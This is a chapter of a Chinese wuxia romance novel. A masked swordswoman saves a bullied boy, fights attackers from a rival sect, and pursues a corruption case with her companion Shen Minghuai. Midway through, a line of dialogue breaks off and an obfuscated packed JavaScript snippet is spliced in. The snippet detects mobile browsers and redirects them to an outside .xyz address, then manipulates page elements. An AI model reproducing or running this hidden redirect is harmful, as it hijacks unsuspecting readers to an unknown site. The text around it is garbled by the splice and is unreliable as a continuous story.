次日州学散学，一身着布衣的小童被数个青衫孩子围在小巷里，只因未帮体态最宽那孩子答出夫子的问题，他们便要动手。
“真是一群坏孩子。”
王琰戴着面具从屋檐上一跃而下，手持一根竹棍在地上划了一路，最终重重撑在布衣小童面前，骤然剑气四散。
“还不滚。”
以程直为首的数名孩童旋即撒腿而逃。王琰将竹棍递给那小童，笑问：“你叫什么名字？”
“赵讷。”赵讷双手揪住衣摆，紧张地看着她。
“无论你爹如何窝囊，你该为自己反抗。”王琰将竹棍塞进他手中，“要不要跟我学功夫？保你不出一月就能将他们都打趴下。”
赵讷并不接受她的好意，将竹棍还了回来，“父亲才不窝囊，他是为了我与母亲……阿讷立志做鸿儒，不学这打打杀杀的功夫，姐姐的好意讷儿心领了。总有一日，我会反抗的。”
王琰盯着他转身的背影，淡声道：“若你活不到那日呢？”
赵讷脚步一顿，垂头道：“那便是讷儿无用。”
“错，是这世道不公。”王琰再次将竹棍递出。
赵讷缓缓转回身来，接过竹棍，仰头望着她，“但我还是不会跟你学武的。”
王琰弹了弹他的额头，“你以为我乐意收你这样的徒弟？跟我去个地方。”
“要去什么地方啊？”
两个着黑红衣裳的男子拦在巷口，其中一人眉毛处有灼伤的疤痕，浓郁皂香亦盖不住二人身上的硝石气味。
王琰顷刻抽出腰间软剑，握了握紧，“与你何干。”
“是与我们无关，只需将心经的消息留下，你自然可以走，还有那孩子。”毕无道的视线移到角落的赵讷身上。
“废话真多。”
王琰一瞬跃起，扬腕提剑，往毕无道的要害攻去，在烈阳掌袭来的一刻，闪身相避，另一只火掌同时从背后推来，她一个翻身，蓝光骤闪，在玄峰背后划出一道口子。
华信终于现身，轻松困住那二人，给予她与赵讷逃跑的时间。
“姐姐，你好厉害啊。”
“虽然是事实没错，”王琰拉起赵讷的手便跑，“但现下不是说这个的时候！”
赵参刚走出州府大门，即闻赵讷被一戴着面具的娘子骗走了，马不停蹄赶到这临水酒楼，破门而入，只见王琰抓着赵讷的手细细瞧着。
“讷儿！”
“爹！”
赵参再次掀起赵讷的袖子，触目伤痕尽显无遗。
“你瞪我作甚，这伤可有些时候了。”王琰再次朝窗外看去，还是此地，却不似昨日黄昏。
赵参对王琰揖了一礼，“多谢娘子出手相救，不知如何称呼？”
“我姓王，如何称呼不重要，通判只需知道家父在京中任职。”王琰摘面具起身，“听闻四年前滑州决口一案另有隐情，我来只是想要一个真相。”
赵参将儿子护在身后，拎着半遮半掩的厌恶问：“户部是想要真相，还是在向卫王表忠心。”
王琰冷嗤一声，“不过是个王爷，父亲效忠的自然只是那天命之人。”
赵参将赵讷交与门外家仆，坐到王琰面前，“尚书大人要这个真相做什么。”
“当年父亲好意奏请官家拨下修缮钱粮，却被你们反咬一口，一顶贪污的帽子扣下来，险些被贬。得知真相，自是要让那躲在阴沟的老鼠，付出相应的代价。”
王琰替赵参斟了杯方才烹煮好的茶，见对面人暂无反应，又接着说道：“不管通判信与不信，只须告知真相为何，我会捎信回京，父亲自有法子验其虚实。”
赵参牵着赵讷走了，王琰支起窗棂，下一秒沈明淮却从门口走了进来，大步迈到她旁侧。
“毕火宫的人？！可受伤了？”
王琰扯着衣裳扭头，后背被烧掉了一些丝线，虽未伤及皮肤，这件衣服却是毁了。
“我无事，就是苦了我这衣裳。所幸人不多，我与华信尚且能应付。”
沈明淮眉峰蹙起，直盯着衣裳烧坏的地方，“不知暗处还有多少人觊觎着，往后还须更加小心。”
王琰拍拍他的手让他安心，说回方才的谈话上。
“赵参防备心很强，你怕是未听清。不过你猜的不错，真正贪污之人就是如今的程知州。”
自方才起，王琰就时不时地走神，沈明淮覆上她的手，担心道：“怎么了？”
王琰怔怔瞧了他一眼，而后摇了摇头，“从前扬言要恣意江湖，如今行事却无法脱离权势与算计。”这真的是她想要的吗……
沈明淮沉吟片刻，抚了抚她的脸，“这世间由权势筑起，纵有江湖庙堂之分，亦无法真正脱离，何况静心失踪与父亲褫职有莫大关联。既手中执剑，又何惧出剑。”
一小男孩冲到路中大张双臂，将沈明淮一行人的马车拦截。
“好心人，我家及附近山林却被占用为道，毫无生路可言，求求好心人施舍一些，救救我的幼妹。”
王琰闻声探头，这小孩虽穿着简朴，却不像没吃饱饭的样子。有一妇人朝这边嚷了两句，小男孩亦是面不改色。
“缺牙，你怎又来城门口拦马车？你爹娘不是不让你干这事吗？”
驱车的华信、应冥回头等候沈明淮的指示，拿着一块他们家公子掏出来的银锭，抛给那孩子，旋乐得合不拢嘴，深揖相送。
王琰靠在车壁上，“一看就是没少打劫你这样的好心人，助长不劳而获之风。”
沈明淮佯作惊讶，“是这个理。你方才怎么不提醒我？”
“沈公子这般聪睿，还须我提醒？”王琰护好自己的钱袋，“只是想散财罢了。”
沈明淮将自己的钱袋解下，交到王琰手中，“若真有燃眉之急呢？那日后你替我拿着。”
王琰瞥了他一眼，“真的？”
沈明淮忍不住揉揉她的头，“君子一言——”
“驷马难追。”王琰不客气地绑在她钱袋旁，“我认真的，授人以鱼不如授人以渔。”
沈明淮虽在点头，但不知听没听进去，马车行到山脚又要去买双色荷，竟是对她上回两次利用那朵荷花略有不满。她再三申明不需要这样的考验认可情谊，硬将他拽回车上，偶然间得知，山脚这一片土地湖泊，竟俱归陈榆所有。
不速之客再次到访天目山。
“陈公子，范某又来叨扰了。”
陈榆邀范坤入厅内坐下，斟茶递去，“范永嘉，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441871|182433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是天未亮就赶来了？”
范坤屁股还未粘凳，忙又起身，“陈公子何必折煞范某，这‘永嘉’二字还是您自个留着罢。”
陈榆先饮了一口山泉烹的新茶，方道：“许久未见，你还是这么古板。”
范坤抬袖拭去额角的汗，“嗳。范某此次——”
陈榆打断他，“我晓得你此次来是催我赴职的，先将这茶喝了再说。”
范坤饮尽杯中茶水，双手捧着瓷杯放在桌上，“这回真的不能再延了，若陈公子再不与范某一道回去，只怕京城那位……”
陈榆径直走了几步回头，“你不是未用早膳，还愣着做什么？莫非是要我请？”
范坤起身抚平长袍，有些无奈，“用过早膳后，那赴职之事……”
“自然好说。”
约莫也有半年未见了，还是范坤最爱的蒸饼与煎茶汤。蒸饼的味道其实都大同小异，只是陈宅的煎茶汤，可非早市能比。不知加了何种药材，一碗饮下，浑身皆轻，气血充足，精神抖擞。
陈榆复让小厮温过那茶汤，还冒着热气，范坤面不改色地饮了半碗。
“如此着急，难不成州署还有一堆烂摊子等我收拾？”
范坤忙放下碗，感恩戴德道：“陈公子——太守大人……范某终于能向官家交差吗？”
陈榆最是看不惯他曲意逢迎的模样，尽管心中万分勉强，膝骨亦能瞬间软下，跪在地上高呼“万岁千秋，吾皇圣明”。
“家主，一位自称沈明淮的公子来访。”小童的出现打破了桌上僵局。
“沈公子可是将真相带来了？”陈榆将人领至偏厅，“独沈公子一人？”
“陈公子想要的真相，我一人便可给。”沈明淮止步阶下，“只是信与不信——”
“说。”
“程炳。”
陈榆回身盯着他，“程炳？”
“曾任滑州通判，四年前被贬温州，一年后迁知杭州。”沈明淮余光瞥见门后之人，“今日有贵客莅临？”
“这位便是沈公子罢？”范坤弓着腰走进来，对沈明淮行了一个全礼，“早闻定国公高名，今见公子，亦是气宇非凡啊。”
“范永嘉，你来凑什么热闹？”陈榆不耐烦地欲将范坤请出去，反在言语又落了下风。
“太守大人真是折煞范某了。丁忧期满，您该动身了。”
陈榆将范坤撂在原地，扯过沈明淮悄声问道：“证据呢？”
“你只说要真相，我便只有真相。”沈明淮的视线扫过陈榆的手，“陈公子若不信我说的，自可去问赵通判。前往州府的途中，是他拦下了我。不若再问问范大人，我猜大人应与程知州共事过罢？”
“嗳，就半年。”
范坤虽只暂代知州一职，但亦总领一州民政，这副卑躬屈膝之态，怕是早已浸入骨髓。沈明淮即道：“如此，倘若陈公子下山问赵通判无果，此次赴任温州，与范大人合力也定能证明沈某所言真假。真相我已经给了，还请陈公子信守承诺。”
“赵参……孝章与我提过他。”陈榆终是松了口，“你所求与普远大师有关？”
“是。我二人想见普远大师一面。”
“家主不好了！郎君他中毒了！”